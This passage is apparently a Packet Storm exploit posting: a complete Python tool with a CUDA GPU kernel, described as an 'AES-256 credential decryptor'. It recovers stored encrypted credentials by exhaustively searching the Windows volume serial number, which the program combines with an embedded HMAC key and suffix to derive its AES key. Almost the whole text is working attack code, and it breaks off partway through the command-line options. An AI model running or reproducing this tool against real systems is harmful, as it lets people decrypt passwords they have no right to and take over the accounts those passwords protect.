...[ More ]
🗓️ 28 Oct 2026 00:00:00Reported by Ricardo José Ruiz FernándezType
packetstorm🔗 packetstorm.news👁 4 Views
#!/usr/bin/env python3
import argparse, hmac, hashlib, base64, sys, time
from multiprocessing import Pool, cpu_count
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1
HMAC_KEY = b"98Z6rkcWK7gpMUcnnngvQqofxzmkPAbckqHLKBeF88UwRlgp7OMt8LdplsZCPVq"
SUFFIX = "8*2*$uxEODOz'GmafgRKmbcJpxwOUJP_W,MW910Lkhq6W(XQ<t3^M#U9*B!=VAPc"
_PASS_LEN = 40 + len(SUFFIX)
_SALT = hashlib.md5(str(_PASS_LEN).encode("ascii")).digest()
_ITER = 1000
FILTER_RATE = 1.526e-5
def machine_identifier(volume_serial: int) -> str:
msg = str(volume_serial & 0xFFFFFFFF).encode("ascii")
return "".join("{:02X}".format(b)
for b in hmac.new(HMAC_KEY, msg, hashlib.sha1).digest())
def derive_key_iv(volume_serial: int):
passphrase = (machine_identifier(volume_serial) + SUFFIX).encode("utf-8")
material = PBKDF2(passphrase, _SALT, dkLen=48, count=_ITER,
hmac_hash_module=SHA1)
return material[:32], material[32:48]
def try_decrypt(ct: bytes, volume_serial: int):
key, iv = derive_key_iv(volume_serial)
pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
pad = pt[-1]
if not (1 <= pad <= 16) or pt[-pad:] != bytes([pad]) * pad:
return None
body = pt[:-pad]
if len(body) % 2:
return None
try:
s = body.decode("utf-16-le")
except UnicodeDecodeError:
return None
if s and all(c.isprintable() for c in s):
return s
return None
def parse_serial(text: str) -> int:
t = text.strip()
if t.lower().startswith("dec:"):
return int(t[4:])
t = t.replace("-", "").replace(" ", "").replace("0x", "").replace("0X", "")
return int(t, 16)
def raw_body(s: str) -> bytes:
return s.encode("utf-16-le", errors="ignore")
def ascii_ratio(s: str) -> float:
if not s:
return 0.0
a = sum(1 for c in s if 0x20 <= ord(c) <= 0x7E) / len(s)
rb = raw_body(s)
b = sum(1 for x in rb if 0x20 <= x <= 0x7E) / len(rb) if rb else 0.0
return max(a, b)
CHARSETS = {
"ascii": lambda s: all(0x20 <= ord(c) <= 0x7E for c in s),
"bytes": lambda s: bool(raw_body(s)) and all(0x20 <= x <= 0x7E
for x in raw_body(s)),
"latin1": lambda s: all(ord(c) < 0x100 for c in s),
"auto": lambda s: CHARSETS["ascii"](s) or CHARSETS["bytes"](s),
"any": lambda s: True,
}
def _fmt_eta(sec):
if sec >= 86400:
return "%.1fd" % (sec / 86400)
if sec >= 3600:
return "%.1fh" % (sec / 3600)
if sec >= 60:
return "%.1fm" % (sec / 60)
return "%.0fs" % sec
def _bar(done, total, rate, w=28):
pct = 100.0 * done / total if total else 100.0
fill = int(w * done / total) if total else w
eta = (total - done) / rate if rate else 0
return ("\r[%s] %5.1f%% %s/%s %s/s ETA %s "
% ("#" * fill + "-" * (w - fill), pct,
"{:,}".format(done), "{:,}".format(total),
"{:,.0f}".format(rate), _fmt_eta(eta)))
class Collector:
def __init__(self, charset, out_path):
self.keep = CHARSETS[charset]
self.charset = charset
self.found = []
self.strong = []
self.fh = open(out_path, "w", encoding="utf-8") if out_path else None
self.out_path = out_path
def add(self, vsn, pt):
self.found.append((vsn, pt))
if self.fh:
self.fh.write("%08X\t%.3f\t%s\n" % (vsn, ascii_ratio(pt), pt))
self.fh.flush()
if self.keep(pt):
self.strong.append((vsn, pt))
print("\n[+] VSN=%08X (%d) -> %r" % (vsn, vsn, pt))
def close(self, tested, elapsed, gpu_hits=None):
if self.fh:
self.fh.close()
print("[*] %s candidates saved to %s"
% ("{:,}".format(len(self.found)), self.out_path),
file=sys.stderr)
print(file=sys.stderr)
print("[*] %s serials in %s (%s cand/s)"
% ("{:,}".format(tested), _fmt_eta(elapsed),
"{:,.0f}".format(tested / elapsed if elapsed else 0)),
file=sys.stderr)
stages = []
if gpu_hits is not None:
stages.append("%s gpu filter" % "{:,}".format(gpu_hits))
stages.append("%s utf-16+printable" % "{:,}".format(len(self.found)))
stages.append("%d charset=%s" % (len(self.strong), self.charset))
print("[*] cascade: %s" % " -> ".join(stages), file=sys.stderr)
if len(self.strong) == 1:
print("\n[+] RESULT: VSN=%08X -> %r"
% (self.strong[0][0], self.strong[0][1]))
elif self.found:
print("[!] charset '%s' left %d candidates. Ranking by printable "
"ASCII ratio:" % (self.charset, len(self.strong)),
file=sys.stderr)
top = sorted(self.found, key=lambda x: -ascii_ratio(x[1]))[:15]
for v, t in top:
rb = raw_body(t)
alt = ""
if rb and all(0x20 <= x <= 0x7E for x in rb):
alt = " <== ASCII BYTES: %r" % rb.decode("ascii")
print(" %5.1f%% VSN=%08X %r%s"
% (100 * ascii_ratio(t), v, t, alt))
else:
print("[-] no results in range.")
return self.strong, self.found
def derive_key32(volume_serial: int) -> bytes:
passphrase = (machine_identifier(volume_serial) + SUFFIX).encode("utf-8")
return PBKDF2(passphrase, _SALT, dkLen=32, count=_ITER,
hmac_hash_module=SHA1)
def _scan_chunk(args):
ct, lo, hi = args
hits = []
n = len(ct)
if n < 32:
for vsn in range(lo, hi):
r = try_decrypt(ct, vsn)
if r is not None:
hits.append((vsn, r))
return (hi - lo, hits)
last, prev = ct[-16:], ct[-32:-16]
prev15 = prev[15]
expected = [bytes([k]) * k for k in range(17)]
for vsn in range(lo, hi):
blk = AES.new(derive_key32(vsn), AES.MODE_ECB).decrypt(last)
pad = blk[15] ^ prev15
if not (1 <= pad <= 16) or (n - pad) & 1:
continue
pt = bytes(a ^ b for a, b in zip(blk, prev))
if pt[-pad:] != expected[pad]:
continue
r = try_decrypt(ct, vsn)
if r is not None:
hits.append((vsn, r))
return (hi - lo, hits)
def _chunks(ct, start, end, step):
lo = start
while lo < end:
yield (ct, lo, min(lo + step, end))
lo += step
def _bench(n=300):
t = time.time()
for v in range(n):
derive_key_iv(v)
return n / (time.time() - t)
def bruteforce_cpu(ct, start=0, end=2**32, workers=None,
charset="auto", out_path=None):
workers = workers or cpu_count()
step = 4096
total = end - start
rate_est = _bench() * workers
print("[*] cpu brute-force: %s serials | %d processes | ~%s/s | ETA %s"
% ("{:,}".format(total), workers, "{:,.0f}".format(rate_est),
_fmt_eta(total / rate_est if rate_est else 0)), file=sys.stderr)
print("[*] expected survivors: ~%s | Ctrl-C to abort"
% "{:,.0f}".format(total * FILTER_RATE), file=sys.stderr)
col = Collector(charset, out_path)
done = 0
t0 = time.time()
last = 0.0
pos = start
try:
with Pool(workers) as pool:
for n_done, hits in pool.imap_unordered(
_scan_chunk, _chunks(ct, start, end, step), chunksize=8):
done += n_done
pos += n_done
for vsn, pt in hits:
col.add(vsn, pt)
now = time.time()
if now - last >= 0.3:
last = now
el = now - t0
print(_bar(done, total, done / el if el else 0),
end="", file=sys.stderr, flush=True)
except KeyboardInterrupt:
print("\n[!] interrupted after %s serials" % "{:,}".format(done),
file=sys.stderr)
return col.close(done, time.time() - t0)
CUDA_CORE = r"""#ifdef __CUDACC__
#define DEVFN __device__ __forceinline__
#define DEVVAR __device__
#define UNROLL _Pragma("unroll")
#else
#define DEVFN static inline
#define DEVVAR static
#define UNROLL
#endif
typedef unsigned char u8;
typedef unsigned int u32;
typedef unsigned long long u64;
#define ROTL32(x,n) (((x) << (n)) | ((x) >> (32-(n))))
DEVFN void sha1_compress(u32 s[5], const u32 in[16])
{
u32 w[16];
UNROLL
for (int i = 0; i < 16; i++) w[i] = in[i];
u32 a=s[0], b=s[1], c=s[2], d=s[3], e=s[4], f, k, t;
UNROLL
for (int i = 0; i < 80; i++) {
if (i >= 16) {
u32 x = w[(i+13)&15] ^ w[(i+8)&15] ^ w[(i+2)&15] ^ w[i&15];
w[i&15] = ROTL32(x, 1);
}
if (i < 20) { f = (b & c) | ((~b) & d); k = 0x5A827999u; }
else if (i < 40) { f = b ^ c ^ d; k = 0x6ED9EBA1u; }
else if (i < 60) { f = (b & c) | (b & d) | (c & d); k = 0x8F1BBCDCu; }
else { f = b ^ c ^ d; k = 0xCA62C1D6u; }
t = ROTL32(a,5) + f + e + k + w[i&15];
e = d; d = c; c = ROTL32(b,30); b = a; a = t;
}
s[0]+=a; s[1]+=b; s[2]+=c; s[3]+=d; s[4]+=e;
}
DEVFN void sha1_init(u32 s[5])
{
s[0]=0x67452301u; s[1]=0xEFCDAB89u; s[2]=0x98BADCFEu;
s[3]=0x10325476u; s[4]=0xC3D2E1F0u;
}
DEVFN void sha1_hash(const u8 *msg, int len, u8 out[20])
{
u32 s[5], blk[16];
sha1_init(s);
int off = 0;
while (len - off >= 64) {
UNROLL
for (int i = 0; i < 16; i++)
blk[i] = ((u32)msg[off+4*i ] << 24) | ((u32)msg[off+4*i+1] << 16)
| ((u32)msg[off+4*i+2] << 8) | ((u32)msg[off+4*i+3] );
sha1_compress(s, blk);
off += 64;
}
int rem = len - off;
UNROLL
for (int i = 0; i < 16; i++) blk[i] = 0;
for (int i = 0; i < rem; i++)
blk[i >> 2] |= ((u32)msg[off+i]) << (24 - 8*(i & 3));
blk[rem >> 2] |= ((u32)0x80u) << (24 - 8*(rem & 3));
if (rem >= 56) {
sha1_compress(s, blk);
UNROLL
for (int i = 0; i < 16; i++) blk[i] = 0;
}
u64 bits = (u64)len * 8ULL;
blk[14] = (u32)(bits >> 32);
blk[15] = (u32)(bits & 0xFFFFFFFFu);
sha1_compress(s, blk);
UNROLL
for (int i = 0; i < 5; i++) {
out[4*i+0] = (u8)(s[i] >> 24); out[4*i+1] = (u8)(s[i] >> 16);
out[4*i+2] = (u8)(s[i] >> 8); out[4*i+3] = (u8)(s[i] );
}
}
DEVFN void hmac_sha1_states(const u8 *key, int keylen, u32 ist[5], u32 ost[5])
{
u8 k[64];
int n;
if (keylen > 64) {
sha1_hash(key, keylen, k);
n = 20;
} else {
for (int i = 0; i < keylen; i++) k[i] = key[i];
n = keylen;
}
for (int i = n; i < 64; i++) k[i] = 0;
u32 blk[16];
UNROLL
for (int i = 0; i < 16; i++)
blk[i] = ((u32)k[4*i] << 24) | ((u32)k[4*i+1] << 16)
| ((u32)k[4*i+2] << 8) | ((u32)k[4*i+3]);
u32 ib[16], ob[16];
UNROLL
for (int i = 0; i < 16; i++) { ib[i] = blk[i] ^ 0x36363636u;
ob[i] = blk[i] ^ 0x5C5C5C5Cu; }
sha1_init(ist); sha1_compress(ist, ib);
sha1_init(ost); sha1_compress(ost, ob);
}
DEVFN void sha1_final_short(const u32 st_in[5], const u8 *msg, int msglen, u8 out[20])
{
u32 blk[16];
UNROLL
for (int i = 0; i < 16; i++) blk[i] = 0;
for (int i = 0; i < msglen; i++)
blk[i >> 2] |= ((u32)msg[i]) << (24 - 8*(i & 3));
blk[msglen >> 2] |= ((u32)0x80u) << (24 - 8*(msglen & 3));
u64 bits = (u64)(64 + msglen) * 8ULL;
blk[14] = (u32)(bits >> 32);
blk[15] = (u32)(bits & 0xFFFFFFFFu);
u32 s[5];
UNROLL
for (int i = 0; i < 5; i++) s[i] = st_in[i];
sha1_compress(s, blk);
UNROLL
for (int i = 0; i < 5; i++) {
out[4*i+0] = (u8)(s[i] >> 24); out[4*i+1] = (u8)(s[i] >> 16);
out[4*i+2] = (u8)(s[i] >> 8); out[4*i+3] = (u8)(s[i] );
}
}
DEVFN void hmac_sha1(const u8 *key, int keylen, const u8 *msg, int msglen, u8 out[20])
{
u32 ist[5], ost[5];
u8 inner[20];
hmac_sha1_states(key, keylen, ist, ost);
sha1_final_short(ist, msg, msglen, inner);
sha1_final_short(ost, inner, 20, out);
}
DEVVAR const u8 AES_SBOX[256] = {
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16};
DEVVAR const u8 AES_INV_SBOX[256] = {
0x52,0x09,0x6a,0xd5,0x30,0x36,0xa5,0x38,0xbf,0x40,0xa3,0x9e,0x81,0xf3,0xd7,0xfb,
0x7c,0xe3,0x39,0x82,0x9b,0x2f,0xff,0x87,0x34,0x8e,0x43,0x44,0xc4,0xde,0xe9,0xcb,
0x54,0x7b,0x94,0x32,0xa6,0xc2,0x23,0x3d,0xee,0x4c,0x95,0x0b,0x42,0xfa,0xc3,0x4e,
0x08,0x2e,0xa1,0x66,0x28,0xd9,0x24,0xb2,0x76,0x5b,0xa2,0x49,0x6d,0x8b,0xd1,0x25,
0x72,0xf8,0xf6,0x64,0x86,0x68,0x98,0x16,0xd4,0xa4,0x5c,0xcc,0x5d,0x65,0xb6,0x92,
0x6c,0x70,0x48,0x50,0xfd,0xed,0xb9,0xda,0x5e,0x15,0x46,0x57,0xa7,0x8d,0x9d,0x84,
0x90,0xd8,0xab,0x00,0x8c,0xbc,0xd3,0x0a,0xf7,0xe4,0x58,0x05,0xb8,0xb3,0x45,0x06,
0xd0,0x2c,0x1e,0x8f,0xca,0x3f,0x0f,0x02,0xc1,0xaf,0xbd,0x03,0x01,0x13,0x8a,0x6b,
0x3a,0x91,0x11,0x41,0x4f,0x67,0xdc,0xea,0x97,0xf2,0xcf,0xce,0xf0,0xb4,0xe6,0x73,
0x96,0xac,0x74,0x22,0xe7,0xad,0x35,0x85,0xe2,0xf9,0x37,0xe8,0x1c,0x75,0xdf,0x6e,
0x47,0xf1,0x1a,0x71,0x1d,0x29,0xc5,0x89,0x6f,0xb7,0x62,0x0e,0xaa,0x18,0xbe,0x1b,
0xfc,0x56,0x3e,0x4b,0xc6,0xd2,0x79,0x20,0x9a,0xdb,0xc0,0xfe,0x78,0xcd,0x5a,0xf4,
0x1f,0xdd,0xa8,0x33,0x88,0x07,0xc7,0x31,0xb1,0x12,0x10,0x59,0x27,0x80,0xec,0x5f,
0x60,0x51,0x7f,0xa9,0x19,0xb5,0x4a,0x0d,0x2d,0xe5,0x7a,0x9f,0x93,0xc9,0x9c,0xef,
0xa0,0xe0,0x3b,0x4d,0xae,0x2a,0xf5,0xb0,0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61,
0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d};
DEVFN u8 gmul(u8 a, u8 b)
{
u8 p = 0;
UNROLL
for (int i = 0; i < 8; i++) {
if (b & 1) p ^= a;
u8 hi = a & 0x80;
a <<= 1;
if (hi) a ^= 0x1b;
b >>= 1;
}
return p;
}
DEVFN u32 sub_word(u32 w)
{
return ((u32)AES_SBOX[(w >> 24) & 0xff] << 24)
| ((u32)AES_SBOX[(w >> 16) & 0xff] << 16)
| ((u32)AES_SBOX[(w >> 8) & 0xff] << 8)
| ((u32)AES_SBOX[ w & 0xff] );
}
DEVFN void aes256_expand(const u8 key[32], u32 rk[60])
{
UNROLL
for (int i = 0; i < 8; i++)
rk[i] = ((u32)key[4*i]<<24)|((u32)key[4*i+1]<<16)|
((u32)key[4*i+2]<<8)|((u32)key[4*i+3]);
u8 rcon = 1;
for (int i = 8; i < 60; i++) {
u32 t = rk[i-1];
if ((i & 7) == 0) {
t = (t << 8) | (t >> 24);
t = sub_word(t);
t ^= ((u32)rcon) << 24;
rcon = (u8)((rcon << 1) ^ ((rcon >> 7) * 0x1b));
} else if ((i & 7) == 4) {
t = sub_word(t);
}
rk[i] = rk[i-8] ^ t;
}
}
DEVFN void add_round_key(u8 st[16], const u32 rk[60], int round)
{
UNROLL
for (int c = 0; c < 4; c++) {
u32 k = rk[4*round + c];
st[4*c+0] ^= (u8)(k >> 24); st[4*c+1] ^= (u8)(k >> 16);
st[4*c+2] ^= (u8)(k >> 8); st[4*c+3] ^= (u8)(k );
}
}
DEVFN void inv_shift_rows(u8 st[16])
{
u8 t;
t = st[13]; st[13]=st[9]; st[9]=st[5]; st[5]=st[1]; st[1]=t;
t = st[2]; st[2]=st[10]; st[10]=t;
t = st[6]; st[6]=st[14]; st[14]=t;
t = st[3]; st[3]=st[7]; st[7]=st[11]; st[11]=st[15]; st[15]=t;
}
DEVFN void inv_sub_bytes(u8 st[16])
{
UNROLL
for (int i = 0; i < 16; i++) st[i] = AES_INV_SBOX[st[i]];
}
DEVFN void inv_mix_columns(u8 st[16])
{
UNROLL
for (int c = 0; c < 4; c++) {
u8 a0=st[4*c+0], a1=st[4*c+1], a2=st[4*c+2], a3=st[4*c+3];
st[4*c+0] = gmul(a0,0x0e)^gmul(a1,0x0b)^gmul(a2,0x0d)^gmul(a3,0x09);
st[4*c+1] = gmul(a0,0x09)^gmul(a1,0x0e)^gmul(a2,0x0b)^gmul(a3,0x0d);
st[4*c+2] = gmul(a0,0x0d)^gmul(a1,0x09)^gmul(a2,0x0e)^gmul(a3,0x0b);
st[4*c+3] = gmul(a0,0x0b)^gmul(a1,0x0d)^gmul(a2,0x09)^gmul(a3,0x0e);
}
}
DEVFN void aes256_decrypt_block(const u32 rk[60], const u8 in[16], u8 out[16])
{
u8 st[16];
UNROLL
for (int i = 0; i < 16; i++) st[i] = in[i];
add_round_key(st, rk, 14);
for (int r = 13; r >= 1; r--) {
inv_shift_rows(st);
inv_sub_bytes(st);
add_round_key(st, rk, r);
inv_mix_columns(st);
}
inv_shift_rows(st);
inv_sub_bytes(st);
add_round_key(st, rk, 0);
UNROLL
for (int i = 0; i < 16; i++) out[i] = st[i];
}
"""
KDF_SRC = r"""DEVVAR const char HEXU[16] = {'0','1','2','3','4','5','6','7',
'8','9','A','B','C','D','E','F'};
DEVFN int u32_to_dec(u32 v, u8 *buf)
{
if (v == 0) { buf[0] = '0'; return 1; }
u8 tmp[10]; int n = 0;
while (v) { tmp[n++] = (u8)('0' + (v % 10u)); v /= 10u; }
for (int i = 0; i < n; i++) buf[i] = tmp[n-1-i];
return n;
}
DEVFN void build_passphrase(u32 vsn, u8 pass[PASS_LEN])
{
u8 dec[10];
int declen = u32_to_dec(vsn, dec);
u8 mid[20];
hmac_sha1(HMAC_KEY, HMAC_KEY_LEN, dec, declen, mid);
UNROLL
for (int i = 0; i < 20; i++) {
pass[2*i ] = (u8)HEXU[(mid[i] >> 4) & 0xf];
pass[2*i + 1] = (u8)HEXU[ mid[i] & 0xf];
}
UNROLL
for (int i = 0; i < SUFFIX_LEN; i++) pass[40 + i] = SUFFIX[i];
}
DEVFN void pbkdf2_blocks(const u8 *pass, int passlen, int nblk, u8 *out)
{
u32 ist[5], ost[5];
hmac_sha1_states(pass, passlen, ist, ost);
for (int b = 1; b <= nblk; b++) {
u8 msg[20], inner[20], u[20], t[20];
UNROLL
for (int i = 0; i < 16; i++) msg[i] = SALT[i];
msg[16] = (u8)(b >> 24); msg[17] = (u8)(b >> 16);
msg[18] = (u8)(b >> 8); msg[19] = (u8)(b );
sha1_final_short(ist, msg, 20, inner);
sha1_final_short(ost, inner, 20, u);
UNROLL
for (int i = 0; i < 20; i++) t[i] = u[i];
for (int it = 1; it < PBKDF2_ITER; it++) {
sha1_final_short(ist, u, 20, inner);
sha1_final_short(ost, inner, 20, u);
UNROLL
for (int i = 0; i < 20; i++) t[i] ^= u[i];
}
UNROLL
for (int i = 0; i < 20; i++) out[20*(b-1) + i] = t[i];
}
}
DEVFN void derive_key(u32 vsn, u8 key[32])
{
u8 pass[PASS_LEN], mat[40];
build_passphrase(vsn, pass);
pbkdf2_blocks(pass, PASS_LEN, 2, mat);
UNROLL
for (int i = 0; i < 32; i++) key[i] = mat[i];
}
DEVFN void derive_key_iv(u32 vsn, u8 key[32], u8 iv[16])
{
u8 pass[PASS_LEN], mat[60];
build_passphrase(vsn, pass);
pbkdf2_blocks(pass, PASS_LEN, 3, mat);
UNROLL
for (int i = 0; i < 32; i++) key[i] = mat[i];
UNROLL
for (int i = 0; i < 16; i++) iv[i] = mat[32 + i];
}
DEVFN int quick_filter(const u8 key[32], const u8 last[16],
const u8 prev[16], int ct_len)
{
u32 rk[60];
u8 blk[16];
aes256_expand(key, rk);
aes256_decrypt_block(rk, last, blk);
UNROLL
for (int i = 0; i < 16; i++) blk[i] ^= prev[i];
int pad = blk[15];
if (pad < 1 || pad > 16) return 0;
for (int i = 0; i < pad; i++)
if (blk[15 - i] != (u8)pad) return 0;
if (((ct_len - pad) & 1) != 0) return 0;
return 1;
}
"""
CUDA_KERNELS = r"""
extern "C" __global__
void k_derive(const unsigned int* __restrict__ vsns,
unsigned int n,
unsigned char* __restrict__ out)
{
unsigned int i = blockIdx.x * blockDim.x + threadIdx.x;
if (i >= n) return;
u8 key[32];
derive_key(vsns[i], key);
for (int j = 0; j < 32; j++) out[32u*i + j] = key[j];
}
extern "C" __global__
void k_crack(unsigned int start, unsigned int count,
unsigned int* __restrict__ out_vsn,
unsigned int* __restrict__ out_cnt,
unsigned int out_cap)
{
unsigned int i = blockIdx.x * blockDim.x + threadIdx.x;
if (i >= count) return;
unsigned int vsn = start + i;
u8 key[32];
int hit;
#if NEED_IV
u8 iv[16];
derive_key_iv(vsn, key, iv);
hit = quick_filter(key, CT_LAST, iv, CT_LEN);
#else
derive_key(vsn, key);
hit = quick_filter(key, CT_LAST, CT_PREV, CT_LEN);
#endif
if (hit) {
unsigned int p = atomicAdd(out_cnt, 1u);
if (p < out_cap) out_vsn[p] = vsn;
}
}
"""
def _c_bytes(name, data):
return "__device__ const unsigned char %s[%d] = {%s};\n" % (
name, len(data), ",".join("0x%02x" % b for b in data))
def build_cuda_source(ct: bytes) -> str:
nblocks = len(ct) // 16
need_iv = 1 if nblocks == 1 else 0
last = ct[-16:]
prev = ct[-32:-16] if nblocks >= 2 else b"\x00" * 16
pre = "#define HMAC_KEY_LEN %d\n" % len(HMAC_KEY)
pre += "#define SUFFIX_LEN %d\n" % len(SUFFIX)
pre += "#define PASS_LEN %d\n" % _PASS_LEN
pre += "#define PBKDF2_ITER %d\n" % _ITER
pre += "#define CT_LEN %d\n" % len(ct)
pre += "#define NEED_IV %d\n" % need_iv
pre += _c_bytes("HMAC_KEY", HMAC_KEY)
pre += _c_bytes("SUFFIX", SUFFIX.encode("ascii"))
pre += _c_bytes("SALT", _SALT)
pre += _c_bytes("CT_LAST", last)
pre += _c_bytes("CT_PREV", prev)
return CUDA_CORE + "\n" + pre + "\n" + KDF_SRC + "\n" + CUDA_KERNELS
class GpuBackend:
def __init__(self, ct: bytes, block=256, maxreg=None, verbose=True):
try:
import cupy as cp
except ImportError:
sys.exit("[-] CuPy not found. Install cupy-cuda12x (or "
"cupy-cuda11x to match your toolkit).")
self.cp = cp
self.ct = ct
self.block = block
try:
props = cp.cuda.runtime.getDeviceProperties(cp.cuda.Device().id)
self.name = props["name"].decode()
self.sms = props["multiProcessorCount"]
except Exception:
self.name, self.sms = "unknown device", 0
opts = ["-std=c++11", "--use_fast_math"]
if maxreg:
opts.append("--maxrregcount=%d" % maxreg)
if verbose:
print("[*] compiling kernel with NVRTC...", file=sys.stderr)
t0 = time.time()
self.mod = cp.RawModule(code=build_cuda_source(ct), backend="nvrtc",
options=tuple(opts))
self.k_crack = self.mod.get_function("k_crack")
self.k_derive = self.mod.get_function("k_derive")
if verbose:
print("[*] %s (%d SM) | kernel ready in %.1fs"
% (self.name, self.sms, time.time() - t0), file=sys.stderr)
self.cap = 1 << 16
self.d_out = cp.zeros(self.cap, dtype=cp.uint32)
self.d_cnt = cp.zeros(1, dtype=cp.uint32)
def derive_keys(self, vsns):
cp = self.cp
d_v = cp.asarray(vsns, dtype=cp.uint32)
d_k = cp.zeros(len(vsns) * 32, dtype=cp.uint8)
grid = (len(vsns) + self.block - 1) // self.block
self.k_derive((grid,), (self.block,),
(d_v, cp.uint32(len(vsns)), d_k))
cp.cuda.Stream.null.synchronize()
raw = d_k.get().tobytes()
return [raw[32 * i:32 * (i + 1)] for i in range(len(vsns))]
def scan(self, start, count):
cp = self.cp
self.d_cnt.fill(0)
grid = (count + self.block - 1) // self.block
self.k_crack((grid,), (self.block,),
(cp.uint32(start), cp.uint32(count),
self.d_out, self.d_cnt, cp.uint32(self.cap)))
cp.cuda.Stream.null.synchronize()
n = int(self.d_cnt.get()[0])
if n > self.cap:
print("\n[!] output buffer overflow (%d > %d). Lower --batch."
% (n, self.cap), file=sys.stderr)
n = self.cap
return self.d_out[:n].get().tolist()
def selftest(gpu, n=64):
import random
print("[*] selftest: comparing %d GPU derivations against Python..." % n)
vsns = [0, 1, 0xFFFFFFFF] + [random.randrange(0, 2**32)
for _ in range(n - 3)]
bad = 0
for v, k in zip(vsns, gpu.derive_keys(vsns)):
ck, _ = derive_key_iv(v)
if ck != k:
bad += 1
if bad <= 3:
print(" [FAIL] VSN=%08X\n gpu %s\n cpu %s"
% (v, k.hex(), ck.hex()))
if bad:
print("[-] selftest FAILED: %d/%d mismatches" % (bad, len(vsns)))
return False
print("[+] selftest OK: %d/%d keys identical" % (len(vsns), len(vsns)))
return True
def bruteforce_gpu(ct, start=0, end=2**32, block=256, batch=None,
target_ms=500, maxreg=None, charset="auto", out_path=None):
gpu = GpuBackend(ct, block=block, maxreg=maxreg)
total = end - start
print("[*] gpu brute-force: %s serials | filter ~%.3e | expected "
"survivors ~%s" % ("{:,}".format(total), FILTER_RATE,
"{:,.0f}".format(total * FILTER_RATE)),
file=sys.stderr)
cal = min(1 << 18, total)
t0 = time.time()
gpu.scan(start, cal)
rate = cal / max(time.time() - t0, 1e-9)
print("[*] calibration: %s cand/s | ETA %s"
% ("{:,.0f}".format(rate), _fmt_eta(total / rate)), file=sys.stderr)
if batch is None:
batch = max(1, int(rate * target_ms / 1000.0))
batch = max(1 << 16, min(1 << 24, 1 << (batch.bit_length() - 1)))
print("[*] auto batch: %s (~%.0f ms/launch; keep under 2s on Windows "
"because of the TDR watchdog)"
% ("{:,}".format(batch), 1000.0 * batch / rate), file=sys.stderr)
col = Collector(charset, out_path)
tested, gpu_hits = 0, 0
t0, last = time.time(), 0.0
pos = start
try:
while pos < end:
n = min(batch, end - pos)
hits = gpu.scan(pos, n)
gpu_hits += len(hits)
for vsn in hits:
pt = try_decrypt(ct, vsn)
if pt is not None:
col.add(vsn, pt)
pos += n
tested += n
now = time.time()
if now - last >= 0.3:
last = now
el = now - t0
print(_bar(tested, total, tested / el if el else 0),
end="", file=sys.stderr, flush=True)
except KeyboardInterrupt:
print("\n[!] interrupted. Resume with: --start %08X" % pos,
file=sys.stderr)
return col.close(tested, time.time() - t0, gpu_hits=gpu_hits)
def main():
ap = argparse.ArgumentParser(
description="AES-256 credential decryptor. Derives the key from the "
"target volume serial number. Runs an exhaustive search "
"on CPU by default, or on CUDA with --gpu.")
ap.add_argument("-v", "--value", required=True, help="encrypted value (base64)")
ap.add_argument("-s", "--serial",
help="volume serial: '2857-2E94' / '28572E94' (hex) or 'dec:123'")
ap.add_argument("-b", "--bruteforce", action="store_true",
help="exhaustive search over the serial space")
ap.add_argument("--gpu", action="store_true",
help="use the CUDA backend instead of multiprocessing")
ap.add_argument("--start", default="0", help="range start (hex or dec:)")
ap.add_argument("--end", default=None, help="range end, exclusive (hex or dec:)")
ap.add_argument("-j", "--workers", type=int, default=None,
help="cpu worker processes")
ap.add_argument("--block", type=int, default=256,
help="gpu threads per block (default 256)")
ap.add_argument("--batch", type=int, default=None,
help="gpu candidates per launch")
ap.add_argument("--target-ms", type=int, default=500,
help="gpu target milliseconds per launch (default 500)")
ap.add_argument("--maxreg", type=int, default=None,
help="NVRTC --maxrregcount for occupancy tuning")
ap.add_argument("--charset", choices=("auto", "ascii", "bytes", "latin1", "any"),
default="auto",
help="final plaintext oracle (default auto)")
ap.add_argument("--out", help="file to store every valid candidate")
ap.add_argument("--selftest", action="store_true",
